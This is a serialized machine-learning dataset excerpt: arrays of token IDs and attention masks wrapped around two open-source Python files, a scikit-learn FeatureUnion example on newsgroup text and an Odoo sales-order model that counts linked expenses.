63,
694,
9,
272,
366,
580,
63,
4600,
63,
694,
275,
747,
14,
515,
14,
904,
8,
3771,
14,
1506,
63,
694,
12,
283,
2268,
297,
283,
68,
580,
13,
4600,
358,
272,
2386,
89,
63,
4600,
63,
694,
275,
747,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
rahul-c1/scikit-learn
|
examples/hetero_feature_union.py
|
288
|
6236
|
"""
=============================================
Feature Union with Heterogeneous Data Sources
=============================================
Datasets can often contain components of that require different feature
extraction and processing pipelines. This scenario might occur when:
1. Your dataset consists of heterogeneous data types (e.g. raster images and
text captions)
2. Your dataset is stored in a Pandas DataFrame and different columns
require different processing pipelines.
This example demonstrates how to use
:class:`sklearn.feature_extraction.FeatureUnion` on a dataset containing
different types of features. We use the 20-newsgroups dataset and compute
standard bag-of-words features for the subject line and body in separate
pipelines as well as ad hoc features on the body. We combine them (with
weights) using a FeatureUnion and finally train a classifier on the combined
set of features.
The choice of features is not particularly helpful, but serves to illustrate
the technique.
"""
# Author: Matt Terry <matt.terry@gmail.com>
#
# License: BSD 3 clause
from __future__ import print_function
import numpy as np
from sklearn.base import BaseEstimator, TransformerMixin
from sklearn.datasets import fetch_20newsgroups
from sklearn.datasets.twenty_newsgroups import strip_newsgroup_footer
from sklearn.datasets.twenty_newsgroups import strip_newsgroup_quoting
from sklearn.decomposition import TruncatedSVD
from sklearn.feature_extraction import DictVectorizer
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics import classification_report
from sklearn.pipeline import FeatureUnion
from sklearn.pipeline import Pipeline
from sklearn.svm import SVC
class ItemSelector(BaseEstimator, TransformerMixin):
"""For data grouped by feature, select subset of data at a provided key.
The data is expected to be stored in a 2D data structure, where the first
index is over features and the second is over samples. i.e.
>> len(data[key]) == n_samples
Please note that this is the opposite convention to sklearn feature
matrixes (where the first index corresponds to sample).
ItemSelector only requires that the collection implement getitem
(data[key]). Examples include: a dict of lists, 2D numpy array, Pandas
DataFrame, numpy record array, etc.
>> data = {'a': [1, 5, 2, 5, 2, 8],
'b': [9, 4, 1, 4, 1, 3]}
>> ds = ItemSelector(key='a')
>> data['a'] == ds.transform(data)
ItemSelector is not designed to handle data grouped by sample. (e.g. a
list of dicts). If your data is structured this way, consider a
transformer along the lines of `sklearn.feature_extraction.DictVectorizer`.
Parameters
----------
key : hashable, required
The key corresponding to the desired value in a mappable.
"""
def __init__(self, key):
self.key = key
def fit(self, x, y=None):
return self
def transform(self, data_dict):
return data_dict[self.key]
class TextStats(BaseEstimator, TransformerMixin):
"""Extract features from each document for DictVectorizer"""
def fit(self, x, y=None):
return self
def transform(self, posts):
return [{'length': len(text),
'num_sentences': text.count('.')}
for text in posts]
class SubjectBodyExtractor(BaseEstimator, TransformerMixin):
"""Extract the subject & body from a usenet post in a single pass.
Takes a sequence of strings and produces a dict of sequences. Keys are
`subject` and `body`.
"""
def fit(self, x, y=None):
return self
def transform(self, posts):
features = np.recarray(shape=(len(posts),),
dtype=[('subject', object), ('body', object)])
for i, text in enumerate(posts):
headers, _, bod = text.partition('\n\n')
bod = strip_newsgroup_footer(bod)
bod = strip_newsgroup_quoting(bod)
features['body'][i] = bod
prefix = 'Subject:'
sub = ''
for line in headers.split('\n'):
if line.startswith(prefix):
sub = line[len(prefix):]
break
features['subject'][i] = sub
return features
pipeline = Pipeline([
# Extract the subject & body
('subjectbody', SubjectBodyExtractor()),
# Use FeatureUnion to combine the features from subject and body
('union', FeatureUnion(
transformer_list=[
# Pipeline for pulling features from the post's subject line
('subject', Pipeline([
('selector', ItemSelector(key='subject')),
('tfidf', TfidfVectorizer(min_df=50)),
])),
# Pipeline for standard bag-of-words model for body
('body_bow', Pipeline([
('selector', ItemSelector(key='body')),
('tfidf', TfidfVectorizer()),
('best', TruncatedSVD(n_components=50)),
])),
# Pipeline for pulling ad hoc features from post's body
('body_stats', Pipeline([
('selector', ItemSelector(key='body')),
('stats', TextStats()), # returns a list of dicts
('vect', DictVectorizer()), # list of dicts -> feature matrix
])),
],
# weight components in FeatureUnion
transformer_weights={
'subject': 0.8,
'body_bow': 0.5,
'body_stats': 1.0,
},
)),
# Use a SVC classifier on the combined features
('svc', SVC(kernel='linear')),
])
# limit the list of categories to make running this exmaple faster.
categories = ['alt.atheism', 'talk.religion.misc']
train = fetch_20newsgroups(random_state=1,
subset='train',
categories=categories,
)
test = fetch_20newsgroups(random_state=1,
subset='test',
categories=categories,
)
pipeline.fit(train.data, train.target)
y = pipeline.predict(test.data)
print(classification_report(y, test.target))
|
bsd-3-clause
|
[
624,
199,
2486,
9152,
199,
5968,
15961,
543,
5311,
24208,
10654,
1785,
3918,
5800,
83,
199,
2486,
9152,
199,
199,
1451,
2193,
883,
14115,
1395,
7323,
402,
626,
4409,
3365,
3878,
199,
24020,
436,
6661,
5200,
1278,
14,
221,
961,
15728,
5594,
4781,
1380,
26,
199,
199,
17,
14,
19519,
4789,
18581,
402,
946,
24208,
10654,
1785,
666,
2943,
334,
69,
14,
71,
14,
19775,
5935,
436,
2043,
1318,
4021,
852,
9,
199,
18,
14,
19519,
4789,
365,
5489,
315,
282,
510,
7683,
10071,
436,
3365,
4362,
2043,
4409,
3365,
6661,
5200,
1278,
14,
199,
199,
2765,
2893,
23789,
31216,
4212,
370,
675,
199,
26,
533,
1705,
27993,
14,
4445,
63,
24020,
14,
5968,
15540,
64,
641,
282,
4789,
3035,
199,
14020,
2943,
402,
4534,
14,
221,
2136,
675,
314,
3388,
13,
13224,
2634,
4789,
436,
4526,
199,
6807,
330,
643,
13,
1618,
13,
3148,
4534,
367,
314,
5420,
1004,
436,
2396,
315,
7396,
199,
4990,
1278,
465,
5521,
465,
1503,
394,
679,
4534,
641,
314,
2396,
14,
2136,
13323,
3062,
334,
1045,
199,
4916,
9,
1808,
282,
13407,
15540,
436,
3753,
3560,
282,
12429,
641,
314,
12149,
199,
409,
402,
4534,
14,
199,
199,
1918,
7141,
402,
4534,
365,
440,
6770,
590,
24606,
12,
1325,
23739,
370,
22907,
11409,
323,
199,
1589,
32414,
14,
199,
624,
199,
199,
3,
6529,
26,
31653,
13861,
651,
665,
569,
84,
14,
351,
651,
32,
6799,
14,
957,
30,
199,
3,
199,
3,
844,
26,
6289,
650,
8502,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
646,
2680,
465,
980,
199,
199,
504,
6357,
14,
1095,
492,
3523,
13183,
12,
30486,
4256,
199,
504,
6357,
14,
12281,
492,
5267,
63,
1165,
13224,
2634,
199,
504,
6357,
14,
12281,
14,
8122,
287,
369,
63,
13224,
2634,
492,
6202,
63,
13224,
923,
63,
12781,
199,
504,
6357,
14,
12281,
14,
8122,
287,
369,
63,
13224,
2634,
492,
6202,
63,
13224,
923,
63,
25272,
199,
504,
6357,
14,
31384,
492,
25594,
3153,
4985,
36,
199,
504,
6357,
14,
4445,
63,
24020,
492,
7448,
26165,
199,
504,
6357,
14,
4445,
63,
24020,
14,
505,
492,
377,
23274,
26165,
199,
504,
6357,
14,
6759,
492,
12505,
63,
3070,
199,
504,
6357,
14,
7379,
492,
13407,
15540,
199,
504,
6357,
14,
7379,
492,
19090,
199,
504,
6357,
14,
16820,
492,
428,
9454,
421,
199,
533,
7020,
11212,
8,
1563,
13183,
12,
30486,
4256,
304,
272,
408,
1858,
666,
16251,
701,
3878,
12,
3504,
10026,
402,
666,
737,
282,
2741,
790,
14,
339,
710,
666,
365,
1420,
370,
506,
5489,
315,
282,
499,
36,
666,
5523,
12,
2382,
314,
1642,
272,
1478,
365,
1806,
4534,
436,
314,
3499,
365,
1806,
5845,
14,
221,
284,
14,
69,
14,
339,
4331,
822,
8,
576,
59,
498,
566,
508,
302,
63,
3356,
339,
7754,
5317,
626,
642,
365,
314,
26912,
16129,
370,
6357,
3878,
272,
3634,
397,
334,
4509,
314,
1642,
1478,
13718,
370,
2690,
680,
339,
7020,
11212,
1454,
5074,
626,
314,
3245,
5669,
2312,
4484,
272,
334,
576,
59,
498,
6575,
221,
6058,
2387,
26,
282,
1211,
402,
5548,
12,
499,
36,
2680,
1625,
12,
510,
7683,
272,
10071,
12,
2680,
2777,
1625,
12,
5423,
14,
339,
4331,
666,
275,
791,
65,
356,
359,
17,
12,
959,
12,
499,
12,
959,
12,
499,
12,
1695,
467,
2049,
283,
66,
356,
359,
25,
12,
841,
12,
413,
12,
841,
12,
413,
12,
650,
9420,
272,
4331,
6364,
275,
7020,
11212,
8,
498,
534,
65,
358,
272,
4331,
666,
459,
65,
418,
508,
6364,
14,
4711,
8,
576,
9,
339,
7020,
11212,
365,
440,
19829,
370,
2429,
666,
16251,
701,
2690,
14,
221,
334,
69,
14,
71,
14,
282,
272,
769,
402,
10809,
680,
221,
982,
2195,
666,
365,
21781,
642,
4340,
12,
11201,
282,
272,
21484,
3180,
314,
2385,
402,
658,
27993,
14,
4445,
63,
24020,
14,
2141,
26165,
2313,
339,
3897,
272,
4143,
272,
790,
520,
21197,
12,
1415,
267,
710,
790,
5226,
370,
314,
6387,
574,
315,
282,
333,
20846,
14,
272,
408,
272,
347,
636,
826,
721,
277,
12,
790,
304,
267,
291,
14,
498,
275,
790,
339,
347,
5542,
8,
277,
12,
671,
12,
612,
29,
403,
304,
267,
372,
291,
339,
347,
5793,
8,
277,
12,
666,
63,
807,
304,
267,
372,
666,
63,
807,
59,
277,
14,
498,
61,
421,
199,
533,
4516,
8257,
8,
1563,
13183,
12,
30486,
4256,
304,
272,
408,
12147,
4534,
687,
1924,
2213,
367,
7448,
26165,
624,
339,
347,
5542,
8,
277,
12,
671,
12,
612,
29,
403,
304,
267,
372,
291,
339,
347,
5793,
8,
277,
12,
22238,
304,
267,
372,
9016,
1267,
356,
822,
8,
505,
395,
326,
283,
1507,
63,
25669,
356,
1318,
14,
835,
7563,
93,
355,
367,
1318,
315,
22238,
61,
421,
199,
533,
26793,
8173,
11039,
8,
1563,
13183,
12,
30486,
4256,
304,
272,
408,
12147,
314,
5420,
1253,
2396,
687,
282,
675,
846,
2963,
315,
282,
2849,
986,
14,
339,
17415,
282,
3414,
402,
3326,
436,
16904,
282,
1211,
402,
8013,
14,
221,
17276,
787,
272,
658,
5875,
64,
436,
658,
2030,
2313,
272,
408,
272,
347,
5542,
8,
277,
12,
671,
12,
612,
29,
403,
304,
267,
372,
291,
339,
347,
5793,
8,
277,
12,
22238,
304,
267,
4534,
275,
980,
14,
2761,
1144,
8,
1392,
2687,
552,
8,
18084,
30148,
3044,
2152,
11699,
5875,
297,
909,
395,
661,
2030,
297,
909,
3948,
267,
367,
284,
12,
1318,
315,
3874,
8,
18084,
304,
288,
2323,
12,
5501,
330,
364,
275,
1318,
14,
5312,
2258,
78,
60,
78,
358,
288,
330,
364,
275,
6202,
63,
13224,
923,
63,
12781,
8,
66,
364,
9,
288,
330,
364,
275,
6202,
63,
13224,
923,
63,
25272,
8,
66,
364,
9,
288,
4534,
459,
2030,
3488,
73,
61,
275,
330,
364,
953,
2403,
275,
283,
13528,
4881,
288,
1007,
275,
2125,
288,
367,
1004,
315,
2323,
14,
1294,
2258,
78,
735,
355,
340,
1004,
14,
2460,
8,
1861,
304,
490,
1007,
275,
1004,
59,
552,
8,
1861,
15405,
490,
2059,
288,
4534,
459,
5875,
3488,
73,
61,
275,
1007,
398,
372,
4534,
421,
199,
7379,
275,
19090,
779,
272,
327,
12892,
314,
5420,
1253,
2396,
272,
661,
5875,
2030
] |
[
199,
2486,
9152,
199,
5968,
15961,
543,
5311,
24208,
10654,
1785,
3918,
5800,
83,
199,
2486,
9152,
199,
199,
1451,
2193,
883,
14115,
1395,
7323,
402,
626,
4409,
3365,
3878,
199,
24020,
436,
6661,
5200,
1278,
14,
221,
961,
15728,
5594,
4781,
1380,
26,
199,
199,
17,
14,
19519,
4789,
18581,
402,
946,
24208,
10654,
1785,
666,
2943,
334,
69,
14,
71,
14,
19775,
5935,
436,
2043,
1318,
4021,
852,
9,
199,
18,
14,
19519,
4789,
365,
5489,
315,
282,
510,
7683,
10071,
436,
3365,
4362,
2043,
4409,
3365,
6661,
5200,
1278,
14,
199,
199,
2765,
2893,
23789,
31216,
4212,
370,
675,
199,
26,
533,
1705,
27993,
14,
4445,
63,
24020,
14,
5968,
15540,
64,
641,
282,
4789,
3035,
199,
14020,
2943,
402,
4534,
14,
221,
2136,
675,
314,
3388,
13,
13224,
2634,
4789,
436,
4526,
199,
6807,
330,
643,
13,
1618,
13,
3148,
4534,
367,
314,
5420,
1004,
436,
2396,
315,
7396,
199,
4990,
1278,
465,
5521,
465,
1503,
394,
679,
4534,
641,
314,
2396,
14,
2136,
13323,
3062,
334,
1045,
199,
4916,
9,
1808,
282,
13407,
15540,
436,
3753,
3560,
282,
12429,
641,
314,
12149,
199,
409,
402,
4534,
14,
199,
199,
1918,
7141,
402,
4534,
365,
440,
6770,
590,
24606,
12,
1325,
23739,
370,
22907,
11409,
323,
199,
1589,
32414,
14,
199,
624,
199,
199,
3,
6529,
26,
31653,
13861,
651,
665,
569,
84,
14,
351,
651,
32,
6799,
14,
957,
30,
199,
3,
199,
3,
844,
26,
6289,
650,
8502,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
646,
2680,
465,
980,
199,
199,
504,
6357,
14,
1095,
492,
3523,
13183,
12,
30486,
4256,
199,
504,
6357,
14,
12281,
492,
5267,
63,
1165,
13224,
2634,
199,
504,
6357,
14,
12281,
14,
8122,
287,
369,
63,
13224,
2634,
492,
6202,
63,
13224,
923,
63,
12781,
199,
504,
6357,
14,
12281,
14,
8122,
287,
369,
63,
13224,
2634,
492,
6202,
63,
13224,
923,
63,
25272,
199,
504,
6357,
14,
31384,
492,
25594,
3153,
4985,
36,
199,
504,
6357,
14,
4445,
63,
24020,
492,
7448,
26165,
199,
504,
6357,
14,
4445,
63,
24020,
14,
505,
492,
377,
23274,
26165,
199,
504,
6357,
14,
6759,
492,
12505,
63,
3070,
199,
504,
6357,
14,
7379,
492,
13407,
15540,
199,
504,
6357,
14,
7379,
492,
19090,
199,
504,
6357,
14,
16820,
492,
428,
9454,
421,
199,
533,
7020,
11212,
8,
1563,
13183,
12,
30486,
4256,
304,
272,
408,
1858,
666,
16251,
701,
3878,
12,
3504,
10026,
402,
666,
737,
282,
2741,
790,
14,
339,
710,
666,
365,
1420,
370,
506,
5489,
315,
282,
499,
36,
666,
5523,
12,
2382,
314,
1642,
272,
1478,
365,
1806,
4534,
436,
314,
3499,
365,
1806,
5845,
14,
221,
284,
14,
69,
14,
339,
4331,
822,
8,
576,
59,
498,
566,
508,
302,
63,
3356,
339,
7754,
5317,
626,
642,
365,
314,
26912,
16129,
370,
6357,
3878,
272,
3634,
397,
334,
4509,
314,
1642,
1478,
13718,
370,
2690,
680,
339,
7020,
11212,
1454,
5074,
626,
314,
3245,
5669,
2312,
4484,
272,
334,
576,
59,
498,
6575,
221,
6058,
2387,
26,
282,
1211,
402,
5548,
12,
499,
36,
2680,
1625,
12,
510,
7683,
272,
10071,
12,
2680,
2777,
1625,
12,
5423,
14,
339,
4331,
666,
275,
791,
65,
356,
359,
17,
12,
959,
12,
499,
12,
959,
12,
499,
12,
1695,
467,
2049,
283,
66,
356,
359,
25,
12,
841,
12,
413,
12,
841,
12,
413,
12,
650,
9420,
272,
4331,
6364,
275,
7020,
11212,
8,
498,
534,
65,
358,
272,
4331,
666,
459,
65,
418,
508,
6364,
14,
4711,
8,
576,
9,
339,
7020,
11212,
365,
440,
19829,
370,
2429,
666,
16251,
701,
2690,
14,
221,
334,
69,
14,
71,
14,
282,
272,
769,
402,
10809,
680,
221,
982,
2195,
666,
365,
21781,
642,
4340,
12,
11201,
282,
272,
21484,
3180,
314,
2385,
402,
658,
27993,
14,
4445,
63,
24020,
14,
2141,
26165,
2313,
339,
3897,
272,
4143,
272,
790,
520,
21197,
12,
1415,
267,
710,
790,
5226,
370,
314,
6387,
574,
315,
282,
333,
20846,
14,
272,
408,
272,
347,
636,
826,
721,
277,
12,
790,
304,
267,
291,
14,
498,
275,
790,
339,
347,
5542,
8,
277,
12,
671,
12,
612,
29,
403,
304,
267,
372,
291,
339,
347,
5793,
8,
277,
12,
666,
63,
807,
304,
267,
372,
666,
63,
807,
59,
277,
14,
498,
61,
421,
199,
533,
4516,
8257,
8,
1563,
13183,
12,
30486,
4256,
304,
272,
408,
12147,
4534,
687,
1924,
2213,
367,
7448,
26165,
624,
339,
347,
5542,
8,
277,
12,
671,
12,
612,
29,
403,
304,
267,
372,
291,
339,
347,
5793,
8,
277,
12,
22238,
304,
267,
372,
9016,
1267,
356,
822,
8,
505,
395,
326,
283,
1507,
63,
25669,
356,
1318,
14,
835,
7563,
93,
355,
367,
1318,
315,
22238,
61,
421,
199,
533,
26793,
8173,
11039,
8,
1563,
13183,
12,
30486,
4256,
304,
272,
408,
12147,
314,
5420,
1253,
2396,
687,
282,
675,
846,
2963,
315,
282,
2849,
986,
14,
339,
17415,
282,
3414,
402,
3326,
436,
16904,
282,
1211,
402,
8013,
14,
221,
17276,
787,
272,
658,
5875,
64,
436,
658,
2030,
2313,
272,
408,
272,
347,
5542,
8,
277,
12,
671,
12,
612,
29,
403,
304,
267,
372,
291,
339,
347,
5793,
8,
277,
12,
22238,
304,
267,
4534,
275,
980,
14,
2761,
1144,
8,
1392,
2687,
552,
8,
18084,
30148,
3044,
2152,
11699,
5875,
297,
909,
395,
661,
2030,
297,
909,
3948,
267,
367,
284,
12,
1318,
315,
3874,
8,
18084,
304,
288,
2323,
12,
5501,
330,
364,
275,
1318,
14,
5312,
2258,
78,
60,
78,
358,
288,
330,
364,
275,
6202,
63,
13224,
923,
63,
12781,
8,
66,
364,
9,
288,
330,
364,
275,
6202,
63,
13224,
923,
63,
25272,
8,
66,
364,
9,
288,
4534,
459,
2030,
3488,
73,
61,
275,
330,
364,
953,
2403,
275,
283,
13528,
4881,
288,
1007,
275,
2125,
288,
367,
1004,
315,
2323,
14,
1294,
2258,
78,
735,
355,
340,
1004,
14,
2460,
8,
1861,
304,
490,
1007,
275,
1004,
59,
552,
8,
1861,
15405,
490,
2059,
288,
4534,
459,
5875,
3488,
73,
61,
275,
1007,
398,
372,
4534,
421,
199,
7379,
275,
19090,
779,
272,
327,
12892,
314,
5420,
1253,
2396,
272,
661,
5875,
2030,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
rven/odoo
|
addons/sale_expense/models/sale_order.py
|
4
|
1639
|
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
from odoo import api, fields, models
from odoo import SUPERUSER_ID
from odoo.osv import expression
class SaleOrder(models.Model):
_inherit = 'sale.order'
expense_ids = fields.One2many('hr.expense', 'sale_order_id', string='Expenses', domain=[('state', '=', 'done')], readonly=True, copy=False)
expense_count = fields.Integer("# of Expenses", compute='_compute_expense_count', compute_sudo=True)
@api.model
def _name_search(self, name='', args=None, operator='ilike', limit=100, name_get_uid=None):
""" For expense, we want to show all sales order but only their name_get (no ir.rule applied), this is the only way to do it. """
if self._context.get('sale_expense_all_order'):
domain = expression.AND([args or [], ['&', ('state', '=', 'sale'), ('company_id', 'in', self.env.companies.ids)]])
return super(SaleOrder, self.sudo())._name_search(name=name, args=domain, operator=operator, limit=limit, name_get_uid=SUPERUSER_ID)
return super(SaleOrder, self)._name_search(name=name, args=args, operator=operator, limit=limit, name_get_uid=name_get_uid)
@api.depends('expense_ids')
def _compute_expense_count(self):
expense_data = self.env['hr.expense'].read_group([('sale_order_id', 'in', self.ids)], ['sale_order_id'], ['sale_order_id'])
mapped_data = dict([(item['sale_order_id'][0], item['sale_order_id_count']) for item in expense_data])
for sale_order in self:
sale_order.expense_count = mapped_data.get(sale_order.id, 0)
|
agpl-3.0
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
14320,
402,
28935,
14,
1666,
5113,
570,
367,
2615,
4248,
436,
32572,
2436,
14,
199,
199,
504,
28811,
492,
2986,
12,
1504,
12,
1709,
199,
504,
28811,
492,
12824,
63,
998,
199,
504,
28811,
14,
4795,
492,
3965,
421,
199,
533,
428,
1895,
4738,
8,
992,
14,
1685,
304,
272,
485,
6486,
275,
283,
8515,
14,
1648,
7,
339,
26963,
63,
1580,
275,
1504,
14,
4395,
18,
3479,
360,
6271,
14,
16886,
297,
283,
8515,
63,
1648,
63,
344,
297,
1059,
534,
4527,
677,
83,
297,
2881,
11699,
929,
297,
6291,
283,
4456,
2665,
6863,
29,
549,
12,
1331,
29,
797,
9,
272,
26963,
63,
835,
275,
1504,
14,
2674,
10064,
402,
7910,
677,
83,
401,
4526,
17574,
3357,
63,
16886,
63,
835,
297,
4526,
63,
12095,
29,
549,
9,
339,
768,
1246,
14,
1238,
272,
347,
485,
354,
63,
1733,
8,
277,
12,
536,
4581,
1249,
29,
403,
12,
4182,
534,
27774,
297,
2304,
29,
1960,
12,
536,
63,
362,
63,
1535,
29,
403,
304,
267,
408,
2104,
26963,
12,
781,
2934,
370,
2498,
1006,
21702,
1865,
1325,
1454,
3932,
536,
63,
362,
334,
889,
8190,
14,
2200,
6781,
395,
642,
365,
314,
1454,
4340,
370,
886,
652,
14,
408,
267,
340,
291,
423,
1100,
14,
362,
360,
8515,
63,
16886,
63,
452,
63,
1648,
735,
288,
2881,
275,
3965,
14,
3649,
779,
589,
503,
990,
788,
16749,
661,
929,
297,
6291,
283,
8515,
659,
661,
4627,
63,
344,
297,
283,
262,
297,
291,
14,
1813,
14,
863,
23461,
14,
1580,
1874,
566,
288,
372,
1613,
8,
30005,
4738,
12,
291,
14,
12095,
1012,
423,
354,
63,
1733,
8,
354,
29,
354,
12,
1249,
29,
2261,
12,
4182,
29,
3856,
12,
2304,
29,
3097,
12,
536,
63,
362,
63,
1535,
29,
20710,
63,
998,
9,
267,
372,
1613,
8,
30005,
4738,
12,
291,
10445,
354,
63,
1733,
8,
354,
29,
354,
12,
1249,
29,
589,
12,
4182,
29,
3856,
12,
2304,
29,
3097,
12,
536,
63,
362,
63,
1535,
29,
354,
63,
362,
63,
1535,
9,
339,
768,
1246,
14,
8912,
360,
16886,
63,
1580,
358,
272,
347,
485,
3357,
63,
16886,
63,
835,
8,
277,
304,
267,
26963,
63,
576,
275,
291,
14,
1813,
459,
6271,
14,
16886,
2278,
739,
63,
923,
8318,
8515,
63,
1648,
63,
344,
297,
283,
262,
297,
291,
14,
1580,
4360,
788,
8515,
63,
1648,
63,
344,
995,
788,
8515,
63,
1648,
63,
344,
1105,
267,
9994,
63,
576,
275,
1211,
7694,
1053,
459,
8515,
63,
1648,
63,
344,
3488,
16,
467,
1242,
459,
8515,
63,
1648,
63,
344,
63,
835,
1105,
367,
1242,
315,
26963,
63,
576,
566,
267,
367,
13590,
63,
1648,
315,
291,
26,
288,
13590,
63,
1648,
14,
16886,
63,
835,
275,
9994,
63,
576,
14,
362,
8,
8515,
63,
1648,
14,
344,
12,
378,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
